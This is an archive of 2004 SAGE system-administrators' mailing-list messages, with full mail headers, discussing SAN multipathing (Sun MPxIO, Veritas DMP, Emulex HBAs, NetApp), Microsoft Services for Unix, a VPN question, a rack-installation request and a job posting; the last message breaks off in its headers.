Fri, 23 Jan 2004 20:16:24 -0500 (EST) Date: Fri, 23 Jan 2004 20:16:24 -0500 (EST) From: Adam and Christine Levin X-X-Sender: levins@westnet To: SAGE mailing list Subject: Re: [SAGE] Experience with Emulex HBA software In-Reply-To: <26094228@newcupid.Dartmouth.EDU> Message-ID: References: <26094228@newcupid.Dartmouth.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, 23 Jan 2004, James E. Dobson wrote: > Sun software is MPxIO/Sun StorEdge Traffic Manager. As long as you see the > LUNs on two more controllers this will work (i.e, c3 & c4. Turn on mpxio and see > c5). This works pretty well. Sounds worth a shot, then. > Not sure about your previous comment re: NetApp. > Do they sell block-device storage now? They sell the same storage they've always sold, except you can put an HBA instead of (or in addition to) a NIC in their filer head. Then, hook that up to a switched fabric, and away you go. Data ONTAP now supports LUN creation and SAN functionality, and with a few minor differences, it's the same as working with the NAS functionality, sans WAFL, since the host puts whatever filesystem it wants on there. You get snapshots, too, but you need 100% of the space for the first snapshot, and then after that they work the same as the NAS WAFL stuff. It's pretty slick, because you get SAN and NAS in one box with one management interface, and we like that a lot. > need DMP since MPxIO isn't safe to boot from. Dunno. I'm removing VxVM > from machines where it isn't needed these days. Too much complexity with > all these layers of volume management products > (fs/vm/driver/hba/switch/controller/disk). We don't really like how complicated Veritas is, but it gets us better performance (is it enough to warrant the $10k cost, though?), and it gives us DMP (phew, spelled it right this time :) ). If Sun's product works, that's good. Does Sun's product care what disk is at the other end? -Adam From sage-members-owner@usenix.org Fri Jan 23 17:18:39 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0O1IbcH004040 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 17:18:37 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0O1IbG6004039 for sage-members-outgoing; Fri, 23 Jan 2004 17:18:37 -0800 (PST) Received: from westnet.com (root@westnet.com [206.24.6.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0O1IacG004033 for ; Fri, 23 Jan 2004 17:18:36 -0800 (PST) Received: from westnet.com (localhost [127.0.0.1]) by westnet.com (8.12.10/8.12.10) with ESMTP id i0O1IW1q013984 for ; Fri, 23 Jan 2004 20:18:32 -0500 (EST) Received: from localhost (levins@localhost) by westnet.com (8.12.10/8.12.10/Submit) with ESMTP id i0O1IWNC013981 for ; Fri, 23 Jan 2004 20:18:32 -0500 (EST) Date: Fri, 23 Jan 2004 20:18:32 -0500 (EST) From: Adam and Christine Levin X-X-Sender: levins@westnet To: SAGE mailing list Subject: Re: [SAGE] Experience with Emulex HBA software In-Reply-To: <1074891433.32386.12.camel@localhost> Message-ID: References: <1074891433.32386.12.camel@localhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, 23 Jan 2004, Scott Burch wrote: > You didn't mention what type of disk enclosures you are connecting to. NetApp. > which will do HBA failover. If you use Emulex adapters you won't be able > to use the Traffic Manager software. If you aren't using Sun storage > arrays then by all means use the Emulex cards. The release notes for the > Sun StoreEdge Traffic Manager cover supported Sun hardware (your server > is covered). If you are doing anything else then you should probably > invest in Veritas Foundation Suite and use DMP (Dynamic Multipathing). You say that Emulex won't work with Sun storage. Silly, but I can understand that. However, it's not clear whether Sun's Traffic Manager works with Emulex cards attached to non-Sun storage. Do you know if it works? Thanks, -Adam From sage-members-owner@usenix.org Fri Jan 23 17:27:15 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0O1RFcH004925 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 17:27:15 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0O1RFEI004924 for sage-members-outgoing; Fri, 23 Jan 2004 17:27:15 -0800 (PST) Received: from westnet.com (root@westnet.com [206.24.6.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0O1RDcG004919 for ; Fri, 23 Jan 2004 17:27:14 -0800 (PST) Received: from westnet.com (localhost [127.0.0.1]) by westnet.com (8.12.10/8.12.10) with ESMTP id i0O1RA1q015374 for ; Fri, 23 Jan 2004 20:27:10 -0500 (EST) Received: from localhost (levins@localhost) by westnet.com (8.12.10/8.12.10/Submit) with ESMTP id i0O1RARi015370 for ; Fri, 23 Jan 2004 20:27:10 -0500 (EST) Date: Fri, 23 Jan 2004 20:27:10 -0500 (EST) From: Adam and Christine Levin X-X-Sender: levins@westnet To: SAGE mailing list Subject: Re: [SAGE] Experience with Emulex HBA software In-Reply-To: Message-ID: References: <26083756@newcupid.Dartmouth.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, 23 Jan 2004, Brad Knowles wrote: > At 11:27 AM -0500 2004/01/23, Adam and Christine Levin wrote: > > Veritas isn't included with Solaris, if that's what you meant. > > No, but there is multipathing software that is included with Solaris. Really? Wow, learn something new everyday. Where would I look for that? Solaris 8, or Solaris 9 (we're still on 8)? > VxFS has a lot of advantages over UFS, but if you were to use UFS > Logging, that would get you much faster reboots -- if that's the > primary thing you're concerned about. That's a key feature. We've had system crashes, though, and ufs logging hasn't saved us the fsck time. We use ufs logging on every ufs mount. If it's saving us fsck time, then I'd hate to see what happens to ufs *without* logging. :) > As a extent-based filesystem with directory hashing, there are a > lot of other advantages that VxFS has that UFS can't touch. You > should look carefully at the advantages and disadvantages of each > before you make this decision. Agreed, and we are. This is strictly for our Oracle database, and we're not looking at Database Edition with QuickIO. > I believe that something similar is included with Solaris. That'd be great if it is, and if it works. :) -Adam From sage-members-owner@usenix.org Fri Jan 23 18:14:56 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0O2EtcH006999 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 18:14:56 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0O2EtXV006998 for sage-members-outgoing; Fri, 23 Jan 2004 18:14:55 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0O2ErcH006994 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 23 Jan 2004 18:14:54 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0O2Ehxe039664; Fri, 23 Jan 2004 21:14:45 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: References: <26083756@newcupid.Dartmouth.EDU> Date: Sat, 24 Jan 2004 03:09:42 +0100 To: Adam and Christine Levin From: Brad Knowles Subject: Re: [SAGE] Experience with Emulex HBA software Cc: SAGE mailing list Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 8:27 PM -0500 2004/01/23, Adam and Christine Levin wrote: > Really? Wow, learn something new everyday. Where would I look for that? > Solaris 8, or Solaris 9 (we're still on 8)? I recall seeing that sort of thing included with Solaris 8. However, I don't recall the name. > That's a key feature. We've had system crashes, though, and ufs logging > hasn't saved us the fsck time. We use ufs logging on every ufs mount. If > it's saving us fsck time, then I'd hate to see what happens to ufs > *without* logging. :) UFS Logging should definitely be saving you time on fsck, as well. This is one of the primary reasons why you want to use it. > Agreed, and we are. This is strictly for our Oracle database, and we're > not looking at Database Edition with QuickIO. So long as you know what you're looking for and why. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Sun Jan 25 19:41:11 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0Q3fAcH024286 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 25 Jan 2004 19:41:10 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0Q3fAHp024285 for sage-members-outgoing; Sun, 25 Jan 2004 19:41:10 -0800 (PST) Received: from corb.mc.mpls.visi.com (corb.mc.mpls.visi.com [208.42.156.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0Q3f8cG024281 for ; Sun, 25 Jan 2004 19:41:09 -0800 (PST) Received: from [192.168.0.3] (c-24-245-19-13.mn.client2.attbi.com [24.245.19.13]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by corb.mc.mpls.visi.com (Postfix) with ESMTP id B322581B4; Sun, 25 Jan 2004 21:41:07 -0600 (CST) Subject: Re: [SAGE] Experience with Emulex HBA software From: Scott Burch To: Adam and Christine Levin Cc: SAGE mailing list In-Reply-To: References: <1074891433.32386.12.camel@localhost> Content-Type: text/plain Organization: Message-Id: <1075088465.32715.11.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.1- Date: 25 Jan 2004 21:41:06 -0600 Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, 2004-01-23 at 19:18, Adam and Christine Levin wrote: > You say that Emulex won't work with Sun storage. Silly, but I can > understand that. However, it's not clear whether Sun's Traffic Manager > works with Emulex cards attached to non-Sun storage. Do you know if it > works? You can attach to Sun Storage using Emulex cards, however none of Sun's storage management software will work with the Emulex cards...according to the release notes for Sun StorEdge Traffic Manager..only Sun's HBAs are supported (and Sun's HBAs are not made by Emulex). A year or so ago we tried to attach some A5000s to an E450 with Emulex cards..I know we were able to see the disk, however we couldn't use luxadm, etc. to replace disks, etc. Our standard HBA for attaching to EMC is the Emulex 9002 and we are using DMP. We don't have any NetApp Filer's at our location, but there wouldn't be any problem using Emulex to connect to those, however Sun's stuff wouldn't work with a NetApp...you would need to use DMP or some other solution..I would imagine NetApp might have something, but I'm not sure. If you are managing large amounts of disk and are having to add/shrink and rearrange filesystems on the fly without downtime than the cost of Veritas Foundation Suite is more than justified. The only thing that drives me nuts about Veritas is licensing. -Scott -- Scott Burch From sage-members-owner@usenix.org Mon Jan 26 00:31:14 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0Q8VEcH004679 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 26 Jan 2004 00:31:14 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0Q8VEFp004678 for sage-members-outgoing; Mon, 26 Jan 2004 00:31:14 -0800 (PST) Received: from fed1mtao05.cox.net (fed1mtao05.cox.net [68.6.19.126]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0Q8VCcG004671 for ; Mon, 26 Jan 2004 00:31:12 -0800 (PST) Received: from pinchi.noyb.com ([68.6.92.7]) by fed1mtao05.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP id <20040126083050.BLZO15401.fed1mtao05.cox.net@pinchi.noyb.com> for ; Mon, 26 Jan 2004 03:30:50 -0500 Received: from noyb.com (web@pinchi.noyb.com [68.6.92.7]) by pinchi.noyb.com (8.11.4/8.11.4) with SMTP id i0Q8Ixi14450 for ; Mon, 26 Jan 2004 00:19:00 -0800 (PST) From: Paul Company Received: from 68.6.92.7 (SquirrelMail authenticated user pjc) by webmail.noyb.com with HTTP; Mon, 26 Jan 2004 00:19:00 -0800 (PST) Message-ID: <45912.68.6.92.7.1075105140.squirrel@webmail.noyb.com> Date: Mon, 26 Jan 2004 00:19:00 -0800 (PST) Subject: [SAGE] L2TP/IPSEC on Windows 2003 Server w/XP clients To: X-Priority: 3 Importance: Normal X-MSMail-Priority: Normal X-Mailer: SquirrelMail (version 1.2.4) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-sage-members@usenix.org Precedence: bulk Does anyone have this configuration running? I'm getting an error which indicates that there is no certificate installed on my client, but the mmc shows a valid certificate. I think this is a bug. --pjc From sage-members-owner@usenix.org Mon Jan 26 06:22:20 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0QEMKcH019233 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 26 Jan 2004 06:22:20 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0QEMJP0019232 for sage-members-outgoing; Mon, 26 Jan 2004 06:22:20 -0800 (PST) Received: from gate.dab.com ([194.15.145.23]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0QELvcG019203 for ; Mon, 26 Jan 2004 06:22:08 -0800 (PST) Received: (from uucp@localhost) by gate.dab.com (8.8.8/8.8.8) id PAA14927 for ; Mon, 26 Jan 2004 15:21:56 +0100 (MET) Received: from fw-inhouse-lan(172.30.14.4), claiming to be "fw-inhouse-3" via SMTP by fw-inhouse-lan, id smtpdAAA7SaqhD; Mon Jan 26 15:21:33 2004 Received: from tinkywinky.rtfs.de (krabbtop.int.diraba.de [172.30.22.59]) by dab-ms01.int.diraba.de with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id ZM7DRH2F; Mon, 26 Jan 2004 15:21:34 +0100 Received: from tinkywinky.rtfs.de (bb@localhost [127.0.0.1]) by tinkywinky.rtfs.de (8.12.11/8.12.11/Debian-1) with ESMTP id i0QEM28R009185 for ; Mon, 26 Jan 2004 15:22:02 +0100 Received: (from bb@localhost) by tinkywinky.rtfs.de (8.12.11/8.12.11/Debian-1) id i0QEM2xb009184 for sage-members@usenix.org; Mon, 26 Jan 2004 15:22:02 +0100 Date: Mon, 26 Jan 2004 15:22:02 +0100 From: Gabriel Krabbe To: SAGE Members Subject: Re: [SAGE] Experience with Emulex HBA software Message-ID: <20040126142202.GH20083@tinkywinky.rtfs.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: Organization: rtfs IT Services Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, Jan 23, 2004 at 02:36:16PM -0600, Doug Hughes wrote: > On Fri, 23 Jan 2004, Adam and Christine Levin wrote: > >> Does Sun have multipathing HBA failover software, or are we "stuck" with >> the Veritas product? I assume that with Veritas, we must use Volume >> Manager to get the DPM functionality? > > sun has MPxIO. I haven't actually used it, but it's supposed to provide > failover. It's rather new. I don't know if a lot of people are using > this yet. > You might look into it. It's not really that new anymore, and we use it in production very happily indeed. MpxIO - multiplexed I/O - is Sun's term for the beast, and you get it by installing the so-called SAN Foundation (http://www.sun.com/storage/san for download) with the appropriate patches (PatchPro is great for this). Then check the scsi_vhci.conf file to activate, reconfigure reboot, and you're done (beware changing device names for your vfstab). Failover and load balancing. Works just fine. Gabe From sage-members-owner@usenix.org Mon Jan 26 21:08:21 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0R58LcH023219 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 26 Jan 2004 21:08:21 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0R58LYs023218 for sage-members-outgoing; Mon, 26 Jan 2004 21:08:21 -0800 (PST) Received: from mail1.panix.com (mail1.panix.com [166.84.1.72]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0R58JcG023214 for ; Mon, 26 Jan 2004 21:08:20 -0800 (PST) Received: from panix2.panix.com (panix2.panix.com [166.84.1.2]) by mail1.panix.com (Postfix) with ESMTP id E2C6248B52 for ; Tue, 27 Jan 2004 00:08:18 -0500 (EST) Received: from localhost (localhost [[UNIX: localhost]]) by panix2.panix.com (8.11.6p2-a/8.8.8/PanixN1.1) with ESMTP id i0R58Iw19744 for ; Tue, 27 Jan 2004 00:08:18 -0500 (EST) Date: Tue, 27 Jan 2004 00:08:18 -0500 (EST) From: "Shane B. Milburn" To: sage-members@sage.org Subject: [SAGE] Microsoft Windows Services for Unix Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk Anyone done any testing with MS Windows Services for Unix? I just received my February edition of SysAdmin and there is a copy enclosed with it. Reading the vendor advertisement about SFU it appears to have some interesting features, like integrating NIS into Active Directory. If it works as advertised I could see some potential for the product in a few specific cases especially in a lab environment. If you have used SFU and have any feedback (good, bad, or other) I'd be interested in hearing about it. cheers, -shane -- Shane B. Milburn Email: milburn@panix.com Sr. Network Engineer GPG Key ID: 9DA907DA From sage-members-owner@usenix.org Mon Jan 26 22:52:13 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0R6qCcH025053 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 26 Jan 2004 22:52:13 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0R6qCWF025051 for sage-members-outgoing; Mon, 26 Jan 2004 22:52:12 -0800 (PST) Received: from ratchet.nebcorp.com (ratchet.nebcorp.com [205.217.153.72]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0R6qBcG025047 for ; Mon, 26 Jan 2004 22:52:11 -0800 (PST) Received: by ratchet.nebcorp.com (Postfix, from userid 1007) id 594823A33F; Mon, 26 Jan 2004 22:52:11 -0800 (PST) Date: Mon, 26 Jan 2004 22:52:11 -0800 From: Benjamin Feen To: sage-members@usenix.org Subject: [SAGE] Someone to rack boxes in SF? Message-ID: <20040127065211.GB75091@ratchet.nebcorp.com> Reply-To: Benjamin Feen Mail-Followup-To: Benjamin Feen , sage-members@usenix.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i Sender: owner-sage-members@usenix.org Precedence: bulk A small firm I know has a project coming up: they need to add 20 1U machines to a small compute farm. They should be taking delivery of the hosts within the next two weeks, and they want to have them in production as quickly as possible. I'm scouting around for someone who would be able to do a quick, neat job of installing a rack, running cable, and racking the hardware. They can handle everything from the OS on up -- they just need someone to deal with the physical install. I would expect it to be a single [long] day of work. This is in San Francisco; any recommendations or interest? Thanks! Benjy -- Benjamin Feen benjamin(AT)feen.com http://www.monkeybagel.com From sage-members-owner@usenix.org Tue Jan 27 08:14:32 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RGEVcH007584 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 08:14:31 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RGEVSP007582 for sage-members-outgoing; Tue, 27 Jan 2004 08:14:31 -0800 (PST) Received: from pd4mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RGEUcG007577 for ; Tue, 27 Jan 2004 08:14:30 -0800 (PST) Received: from pd2mr3so.prod.shaw.ca (pd2mr3so-ser.prod.shaw.ca [10.0.141.108]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0HS500DCNOLYJK@l-daemon> for sage-members@sage.org; Tue, 27 Jan 2004 09:03:34 -0700 (MST) Received: from pn2ml6so.prod.shaw.ca (pn2ml6so-qfe0.prod.shaw.ca [10.0.121.150]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0HS500J6JOLYHU@l-daemon> for sage-members@sage.org; Tue, 27 Jan 2004 09:03:34 -0700 (MST) Received: from mail.zioup.com (h68-147-26-20.cg.shawcable.net [68.147.26.20]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0HS50080BOLYJ4@l-daemon> for sage-members@sage.org; Tue, 27 Jan 2004 09:03:34 -0700 (MST) Received: by mail.zioup.com (Postfix, from userid 1001) id BB76A258098; Tue, 27 Jan 2004 09:03:34 -0700 (MST) Received: from localhost (localhost [127.0.0.1]) by mail.zioup.com (Postfix) with ESMTP id AF5AF21004A; Tue, 27 Jan 2004 09:03:34 -0700 (MST) Date: Tue, 27 Jan 2004 09:03:34 -0700 (MST) From: Yves Dorfsman Subject: Re: [SAGE] Microsoft Windows Services for Unix In-reply-to: To: "Shane B. Milburn" Cc: sage-members@sage.org Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT References: Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, 27 Jan 2004, Shane B. Milburn wrote: > Reading the vendor advertisement about SFU it appears to have > some interesting features, like integrating NIS into Active Directory. > If it works as advertised I could see some potential for the > product in a few specific cases especially in a lab environment. I am a bit confused, I was under the impression that SFU was distributed (and supported) by Microsoft ? > If you have used SFU and have any feedback (good, bad, or other) I'd > be interested in hearing about it. I haven't tested it personally but intend to do so soon, because one of the DBA's at one of my clients' site is using it. His main driver was that they have a ton of ksh scripts for taking care of Sybase and Oracle database, and wanted to re-use them for the MS SQL db. He tried with cygwin but ran into a lot of incompatibilities (cygwin uses pdksh), he then tried UWin, he was fairly happy with it, but quickly switched to SFU when he realised it was distributed and supported by Microsoft, something corporations tend to prefer over "some free stuff pulled from the 'net". >From what he's saying, all their scripts are just working fine, he hasn't had to re-write any of them. I played around with his machine and was fairly impressed myself (and I hate to admit I'm impressed by something coming from Microsoft), it even has things like a telnet server, crontab etc... Contrary to cygwin, it doesn't provide an X server, although I believe it incorporates some clients. I believe SFU is not free if you use it in a corporate environment because a lot of the tools are still under copyrights from AT&T etc... Yves. ---- Yves Dorfsman yves@zioup.com http://www.cuug.ab.ca/~dorfsmay http://www.SollerS.ca From sage-members-owner@usenix.org Tue Jan 27 08:30:25 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RGUOcH008285 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 08:30:24 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RGUOnw008283 for sage-members-outgoing; Tue, 27 Jan 2004 08:30:24 -0800 (PST) Received: from witte.sonytel.be (witte.sonytel.be [80.88.33.193]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RGUMcG008277 for ; Tue, 27 Jan 2004 08:30:23 -0800 (PST) Received: from gorilla.sonytel.be (localhost [127.0.0.1]) by witte.sonytel.be (8.12.10/8.12.10) with ESMTP id i0RGUGw1028836; Tue, 27 Jan 2004 17:30:16 +0100 (MET) Received: (from nico@localhost) by gorilla.sonytel.be (8.11.6/8.11.6) id i0RGUFk21444; Tue, 27 Jan 2004 17:30:15 +0100 Date: Tue, 27 Jan 2004 17:30:15 +0100 From: Nico De Ranter To: Yves Dorfsman Cc: "Shane B. Milburn" , sage-members@sage.org Subject: Re: [SAGE] Microsoft Windows Services for Unix Message-ID: <20040127173015.L2538@gorilla.sonytel.be> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from yves@zioup.com on Tue, Jan 27, 2004 at 09:03:34AM -0700 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Jan 27, 2004 at 09:03:34AM -0700, Yves Dorfsman wrote: > > On Tue, 27 Jan 2004, Shane B. Milburn wrote: > > I believe SFU is not free if you use it in a corporate environment because > a lot of the tools are still under copyrights from AT&T etc... Apparently Microsoft changed its mind, my Windows guys tell me it's free now. Nico --------------------------------------------------------- "It has been said that there are only two businesses that refer to customers as users: illegal drug trade and the computer industry." --------------------------------------------------------- Nico De Ranter Senior System Administrator Sony Service Center (NSCE/VPE-B) The Corporate Village, Da Vincilaan 7-D1 B-1935 Zaventem, Belgium Telephone: +32 (0)2 706 43 11 Fax: +32 (0)2 700 86 22 From sage-members-owner@usenix.org Tue Jan 27 08:35:35 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RGZZcH008735 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 08:35:35 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RGZZec008732 for sage-members-outgoing; Tue, 27 Jan 2004 08:35:35 -0800 (PST) Received: from bohex01.sitaaps.org (mail.sitaaps.org [205.232.221.250]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RGZXcG008719 for ; Tue, 27 Jan 2004 08:35:34 -0800 (PST) Received: from XPTHREE ([10.10.2.35]) by bohex01.sitaaps.org with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id DW6R3903; Tue, 27 Jan 2004 11:34:05 -0500 Message-ID: <000801c3e4f2$e8770a80$23020a0a@xpthree> From: "Eric Torbenson" To: References: Subject: Re: [SAGE] Microsoft Windows Services for Unix Date: Tue, 27 Jan 2004 11:30:42 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Sender: owner-sage-members@usenix.org Precedence: bulk > I am a bit confused, I was under the impression that SFU was distributed > (and supported) by Microsoft ? > Microsoft made it a free download, presumably to foster interoperability. You can grab it at http://www.microsoft.com/windows/sfu/downloads/default.asp. It is definitely a supported product. MS did this for a couple of add-on services to Windows Server 2003...it makes them look better in the data center world. I work mainly in Windows environments, so I see a lot of companies moving towards SFU. I guess they figure they can use the Unix stuff they have, while integrating Linux for stuff that doesn't absolutely require Windows, while still keeping the Windows clients and domain controllers. -Eric From sage-members-owner@usenix.org Tue Jan 27 09:46:54 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RHkscH011307 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 09:46:54 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RHksLu011306 for sage-members-outgoing; Tue, 27 Jan 2004 09:46:54 -0800 (PST) Received: from ace.DELOS.COM (ace.DELOS.COM [192.65.171.163]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RHkqcH011302 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 09:46:53 -0800 (PST) Received: from ace.DELOS.COM (localhost [127.0.0.1]) by ace.DELOS.COM (8.12.9/8.12.9) with ESMTP id i0RHkmmN022906 for ; Tue, 27 Jan 2004 10:46:48 -0700 (MST) (envelope-from kolstad@ace.DELOS.COM) Received: (from kolstad@localhost) by ace.DELOS.COM (8.12.9/8.12.9/Submit) id i0RHkmSA022905 for sage-members@usenix.org; Tue, 27 Jan 2004 10:46:48 -0700 (MST) Received: from hexogen.explosive.net (hexogen.explosive.net [205.158.174.197]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RHWxcG010772 for ; Tue, 27 Jan 2004 09:33:04 -0800 (PST) Received: from localhost (localhost.localdomain [127.0.0.1]) by hexogen-lo0.explosive.net (Postfix) with ESMTP id C41684CE598 for ; Tue, 27 Jan 2004 09:32:54 -0800 (PST) Date: Tue, 27 Jan 2004 09:32:54 -0800 (PST) From: Eric Sorenson To: sage-members@sage.org Subject: [SAGE] sysadmin job posting Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk Hello, at my day-job (not explosive.net) we have an open req which I'd like to post here in hopes of getting a couple of high-quality candidates from sage-members folk. It's up at a couple of the big job-posting websites but the respondents at those places seem to self-select for unsuitability and I'm starting to get discouraged. Feel free to contact me off-list for more information. http://eric.explosive.net/sysadmin-posting.html [ This will be my only post on the subject, consider me suitably flagellated if it upsets you, etc etc ] -- Eric Sorenson - EXPLOSIVE Networking - http://explosive.net From sage-members-owner@usenix.org Tue Jan 27 09:54:10 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0RHs9cH011916 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 27 Jan 2004 09:54:09 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0RHs9db011915 for sage-members-outgoing; Tue, 27 Jan 2004 